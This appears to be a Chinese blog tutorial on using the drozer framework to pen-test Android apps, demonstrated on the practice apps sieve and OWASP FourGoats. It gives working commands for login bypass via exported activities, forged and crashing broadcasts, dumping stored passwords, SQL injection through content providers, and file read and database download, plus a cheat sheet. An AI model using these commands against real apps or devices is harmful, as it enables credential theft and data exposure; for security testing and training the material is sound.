本篇博文主要来介绍drozer在移动渗透中的作用

本次实验环境所用工具为:夜神模拟器,drozer-2.3.4,sieve.apk,adb

drozer安装这里不再多嘴,给出链接:https://www.cnblogs.com/JDragons/p/5596258.html

adb作为移动与pc的调试桥,我这里也已经安装完成。

1.安装agent.apk

在模拟器中运行drozer,并打开Embbdded Server

2.开启一个对话

pc上,由于我使用的是夜神模拟器,端口是62001,需要先连接夜神模拟器,并且把drozer的31415端口进行转发,cd到drozer安装目录下,进入drozer控制台:

3.列出功能模块

使用命令:dz > list 列出drozer所有功能模块:

dz> list
app.activity.forintent Find activities that can handle the given intent
app.activity.info Gets information about exported activities.
app.activity.start Start an Activity
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
app.package.attacksurface Get attack surface of package
app.package.backup Lists packages that use the backup API (returns true on
FLAG_ALLOW_BACKUP)
app.package.debuggable Find debuggable packages
app.package.info Get information about installed packages
app.package.launchintent Get launch intent of package
app.package.list List Packages
app.package.manifest Get AndroidManifest.xml of package
app.package.native Find Native libraries embedded in the application.
app.package.shareduid Look for packages with shared UIDs
app.provider.columns List columns in content provider
app.provider.delete Delete from a content provider
app.provider.download Download a file from a content provider that supports files
app.provider.finduri Find referenced content URIs in a package
app.provider.info Get information about exported content providers
app.provider.insert Insert into a Content Provider
app.provider.query Query a content provider
app.provider.read Read from a content provider that supports files
app.provider.update Update a record in a content provider
app.service.info Get information about exported services
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
auxiliary.webcontentresolver Start a web service interface to content providers.
exploit.jdwp.check Open @jdwp-control and see which apps connect
exploit.pilfer.general.apnprovider
Reads APN content provider
exploit.pilfer.general.settingsprovider
Reads Settings content provider
information.datetime Print Date/Time
information.deviceinfo Get verbose device information
information.permissions Get a list of all permissions used by packages on the device
scanner.activity.browsable Get all BROWSABLE activities that can be invoked from the web
browser
scanner.misc.native Find native components included in packages
scanner.misc.readablefiles Find world-readable files in the given folder
scanner.misc.secretcodes Search for secret codes that can be used from the dialer
scanner.misc.sflagbinaries Find suid/sgid binaries in the given folder (default is
/system).
scanner.misc.writablefiles Find world-writable files in the given folder
scanner.provider.finduris Search for content providers that can be queried from our
context.
scanner.provider.injection Test content providers for SQL injection vulnerabilities.
scanner.provider.sqltables Find tables accessible through SQL injection vulnerabilities.
scanner.provider.traversal Test content providers for basic directory traversal
vulnerabilities.
shell.exec Execute a single Linux command.
shell.send Send an ASH shell to a remote listener.
shell.start Enter into an interactive Linux shell.
tools.file.download Download a File
tools.file.md5sum Get md5 Checksum of file
tools.file.size Get size of file
tools.file.upload Upload a File
tools.setup.busybox Install Busybox.
tools.setup.minimalsu Prepare 'minimal-su' binary installation on the device.

4.检索包信息:

输入命令:run app.package.list -f <app name>  搜索app所使用的包名:

输入命令:run app.package.info -a  <package name>  查看app包的信息:

5.查看app可被攻击点

输入命令:run app.package.attacksurface <package name>

6.利用drozer渗透activity组件

这里检测出来的是四大组件的威胁,先来介绍activity组件:

应用程序中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。 
Activity之间通过Intent进行通信。在Intent的描述结构中,有两个最重要的部分:动作和动作对应的数据。

通过上面的检测发现activity存在问题,用jadx-gui打开sieve.apk,来看AndroidManifest.xml文件:

可以看到在activity组件中,android.exported="true",说明组件可被导出,存在信息泄露的风险

输入命令:run app.activity.info -a <package name> 查看对外的activity组件信息:

输入命令:run app.activity.start --component <package name> <component name> 来绕过登陆页面,直接进入到后台,存在越权:

正常打开app需要输入密码:

运行命令绕过:

7.利用drozer渗透broadcase组件

先来介绍一下broadcast组件:

BroadcastReceive广播接收器应用可以使用它对外部事件进行过滤只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)
进行接收并做出响应。广播接收器没有用户界面。然而,它们可以启动一个activity或serice 来响应它们收到的信息,或者用
NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等。一般来说是在
状态栏上放一个持久的图标,用户可以打开它并获取消息。

由于sieve.apk不存在此方面漏洞,下面使用fourgoats.apk来测试:

输入命令:run app.broadcast.info -a  <package name> 测试对外的broadcast组件信息:

查看反编译出来的AndroidManifest.xml文件,可以看到receiver的exported未设置,说明存在越权漏洞,可发恶意广播,伪造信息等。

通过图片我们知道<action android:name="org.owasp.goatdroid.fourgoats.SOCIAL_SMS"/>

发送恶意广播

(空extars)输入命令:run app.broadcast.send --component <package name> <component name> --action <action> --extra <type> <key> <value>  发送恶意广播:

拒绝服务攻击

输入命令:run app.broadcast.send --action <action> 向广播组件发送不完整intent使用空extras,可以看到应用停止运行:

8.利用drozer渗透service组件

先来介绍一下service组件:

一个Service 是一段长生命周期的,没有用户界面的程序,可以用来开发如监控类程序。较好的一个例子就是
一个正在从播放列表中播放歌曲的媒体播放器。在一个媒体播放器的应用中,应该会有多个activity,让使用
者可以选择歌曲并播放歌曲。 然而,音乐重放这个功能并没有对应的activity,因为使用者当然会认为在导航到其它屏幕时音乐应该还在播
放的。在这个例子中,媒体播放器这个activity 会使用Context.startService()来启动一个service,从
而可以在后台保持音乐的播放。同时,系统也将保持这个service 一直执行,直到这个service 运行结束。 另外,我们还可以通过使用Context.bindService()方法,连接到一个service 上(如果这个service 还
没有运行将启动它)。当连接到一个service 之后,我们还可以service 提供的接口与它进行通讯。拿媒体播
放器这个例子来说,我们还可以进行暂停、重播等操作。 intent-filter未将exported设置为false,默认是
可以导出的

我们继续使用sieve.apk进行实践测试,先来看AndroidManifest.xml文件:

可以看到 android:exported="true" 服务可被导出.

使用命令:run app.service.info -a <package name> 获取对外组件信息:

使用命令:run app.service.send <package name> <component name> --msg <what> <arg1> <arg2> --extra <type> <key> <value> --bundle-as-obj  向某个服务发送信息:

9.利用drozer渗透content provider组件

android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。这些数据可以存储
在文件系统中、在一个SQLite数据库、或以任何其他合理的方式。其他应用可以通过ContentResolver类从该
内容提供者中获取或存入数据。只有需要在多个应用程序间共享数据是才需要内容提供者。

先来看AndroidManifest.xml文件里面的provider组件:

由于敏感组件可导出,存在敏感信息泄露。并且没有对Content Query Uri进行有效判断或者过滤,可能存在provider文件目录遍历

使用命令:run app.provider.info -a <package name> 查看对外的provider组件信息:

信息泄露:

使用命令:run scanner.provider.finduris -a <package name> 扫描并获取Content provider信息,并列出可访问内容URL的列表和路径:

使用命令:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/  查询或修改数据库中的数据,发现存在数据泄露问题,访问url可看到一些敏感信息:

SQL注入漏洞

使用以下命令测试发现爆错,说明存在SQL注入漏洞:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "'"

获取数据:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

列出所有表信息:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

获取表信息:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

同时也可以使用扫描功能对该app注入点位置进行扫描:
run scanner.provider.injection -a com.mwr.example.sieve

列出该app的表信息:

run scanner.provider.sqltables -a com.mwr.example.sieve

底层文件系统的读取与写入(有可能被阻止)

文件读取:

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

文件下载:

下载数据库文件到本地

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db

目录遍历漏洞:

run scanner.provider.traversal -a com.mwr.example.sieve

对常用命令进行总结:

1.连接drozer:
drozer.bat console connect

2.列出详细APP信息:
run app.package.info -a com.xxx.xxxx

3.查看APP的配置信息
run app.package.manifest com.xxx.xxxx

3.分析是否存在攻击攻击点
run app.package.attacksurface com.xxx.xxxx

4.查看暴露的provider权限
run app.provider.info -a com.xxx.xxxx

5.获取Activity信息
命令 run app.activity.info -a
示例 run app.activity.info -a com.xxx.xxxx

6.检测SQL注入
命令 run scanner.provider.injection -a
示例 run scanner.provider.injection -a com.xxx.xxxx

7.检测目录遍历
命令 run scanner.provider.traversal -a
示例 run scanner.provider.traversal -a com.xxx.xxxx

8.获取所有可访问的Uri
命令 run scanner.provider.finduris -a
示例 run scanner.provider.finduris -a com.xxx.xxxx

9.SQL注入
命令 run app.provider.query [--projection] [--selection]
示例 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/

列出所有表 run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Passwords/
--projection "* FROM SQLITE_MASTER WHERE type='table';--"
获取单表(如Key)的数据 run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Passwords/
--projection "* FROM Key;--"

10.读取文件系统下的文件
示例 run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

11.下载数据库文件到本地
示例 run app.provider.download
content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db
d:/database.db

> list  //列出目前可用的模块,也可以使用ls
> help app.activity.forintent //查看指定模块的帮助信息
> run app.package.list //列出android设备中安装的app
> run app.package.info -a com.android.browser //查看指定app的基本信息
> run app.activity.info -a com.android.browser //列出app中的activity组件
> run app.activity.start --action android.intent.action.VIEW --data-uri http://www.google.com //开启一个activity,例如运行浏览器打开谷歌页面
> run scanner.provider.finduris -a com.sina.weibo //查找可以读取的Content Provider
> run app.provider.query content://settings/secure --selection "name='adb_enabled'" //读取指定Content Provider内容
> run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo //列出指定文件路径里全局可写/可读的文件
> run shell.start //shell操作
> run tools.setup.busybox //安装busybox
> list auxiliary //通过web的方式查看content provider组件的相关内容
> help auxiliary.webcontentresolver //webcontentresolver帮助
> run auxiliary.webcontentresolver //执行在浏览器中以http://localhost:8080即可访问

以sieve示例
> run app.package.list -f sieve //查找sieve应用程序
> run app.package.info -a com.mwr.example.sieve //显示app.package.info命令包的基本信息
> run app.package.attacksurface com.mwr.example.sieve //确定攻击面
> run app.activity.info -a com.mwr.example.sieve //获取activity信息
> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //启动pwlist
> run app.provider.info -a com.mwr.example.sieve //提供商信息
> run scanner.provider.finduris -a com.mwr.example.sieve //扫描所有能访问地址
> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/--vertical //查看DBContentProvider/Passwords这条可执行地址
> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" //检测注入
> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts //查看读权限数据
> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据
> run scanner.provider.injection -a com.mwr.example.sieve //扫描注入地址
> run scanner.provider.traversal -a com.mwr.example.sieve
> run app.service.info -a com.mwr.example.sieve //查看服务

参考链接:

这里只是抛砖引玉,更多drozer使用方法可参阅官方指南(英文): https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf

https://www.jianshu.com/p/dfa92bab3a55

5.移动渗透测试工具之drozer的更多相关文章

  1. 安卓渗透测试工具——Drozer(安装和使用)

    移动端渗透测试工具相比丰富的web端真的是少之又少,最近在做app的安全测试,用到了drozer,drozer的安装过程真的是太心酸了,中间报错了有6次才成功安装.. 一.环境准备 首先准备以下环境: ...

  2. 渗透测试工具BurpSuite做网站的安全测试(基础版)

    渗透测试工具BurpSuite做网站的安全测试(基础版) 版权声明:本文为博主原创文章,未经博主允许不得转载. 学习网址: https://t0data.gitbooks.io/burpsuite/c ...

  3. 渗透测试工具之sqlmap

    1. sqlmap是什么 在这个数据有价的时代数据库安全已经成为了重中之重,于是就整理了一下最常用的一款(反正我上大学的时候它还是蛮流行的...)数据库安全方面的渗透测试工具sqlmap的使用笔记. ...

  4. 18个扩展让你的Firefox成为渗透测试工具

    Firefox是一个出自Mozilla组织的流行的web浏览器.Firefox的流行并不仅仅是因为它是一个好的浏览器,而是因为它能够支持插件进而加强它自身的功能.Mozilla有一个插件站点,在那里面 ...

  5. Android平台下渗透测试工具大集合

    Android平台下渗透测试工具大集合 分享一个google的项目,各种Android下的渗透测试工具. Ad Network Detector (1.2): http://market.androi ...

  6. 自动渗透测试工具集APT2

    自动渗透测试工具集APT2   APT2是Kali Linux新增的一款自动渗透测试工具集.它可以进行NMAP扫描,也可以直接读取Nexpose.Nessus和NMAP的扫描结果,然后自动进行渗透测试 ...

  7. GyoiThon:基于机器学习的渗透测试工具

    简介 GyoiThon是一款基于机器学习的渗透测试工具. GyoiThon根据学习数据识别安装在Web服务器上的软件(操作系统,中间件,框架,CMS等).之后,GyoiThon为已识别的软件执行有效的 ...

  8. 轻量级Web渗透测试工具jSQL

    轻量级Web渗透测试工具jSQL jSQL是Kali集成的一款轻量级的Web渗透测试工具.最初该工具主要实施SQL注入,后来增加更多的功能,扩展形成一个综合性的Web渗透测试工具.Kali提供的版本较 ...

  9. 全能无线渗透测试工具,一个LAZY就搞定了

    近来一直在研究无线安全方面的东西,特别是在无线渗透测试这块,每次渗透测试时总要来回不停的切换操作和挑选利器,很是麻烦.就想看看是否可以有一款功能全面的集合型工具. 正所谓功夫不负有心人,还真有这么一个 ...

随机推荐

  1. 转载:java电商面试介绍(不完整版)

    转载: http://blog.csdn.net/xue_mind/article/details/52959107

  2. 70. Climbing Stairs Add to List

    You are climbing a stair case. It takes n steps to reach to the top. Each time you can either climb ...

  3. 寻找数组中第K大数

    1.寻找数组中的第二大数 using System; using System.Collections.Generic; using System.Linq; using System.Text; u ...

  4. expect 切换用户

    安装expect yum install expect -y #!/bin/expect -f spawn su - expect "Password:" send "n ...

  5. QT:QString、QByteArray和char *的转换 【转载】

    原文网址:http://blog.csdn.net/light1028/article/details/7899541 第一种,数据流的方式,这里只说从QByteArray转向QString. QBy ...

  6. phoneGap入门教程

    地址: http://mobile.51cto.com/hot-273792.htm

  7. AFN 请求数据https

    第一步: 导入afn库 第二步: 在pch中添加 #import <SystemConfiguration/SystemConfiguration.h> #import <Mobil ...

  8. Azure RBAC管理ASM资源

    上一篇文章介绍了Azure基于ARM的RBAC,给不同的用户分配不同的权限. 但目前在国内使用的大部分用户还是以ASM的资源为主.比如:VM.Storage.Network.WebAPP.SQL Az ...

  9. 使用批处理自动发布IIS站点,基于IIS7及以上

    经过研究,终于使用批处理解决了站点发布步骤多的问题. 完整批处理如下: @set "sitePath=%~dp0" @echo 新建程序池 @C:\Windows\System32 ...

  10. hihoCoder1304:24点

    时间限制:10000ms 单点时限:1000ms 内存限制:256MB 描述 周末,小Hi和小Ho都在家待着. 在收拾完房间时,小Ho偶然发现了一副扑克,于是两人考虑用这副扑克来打发时间. 小Ho:玩 ...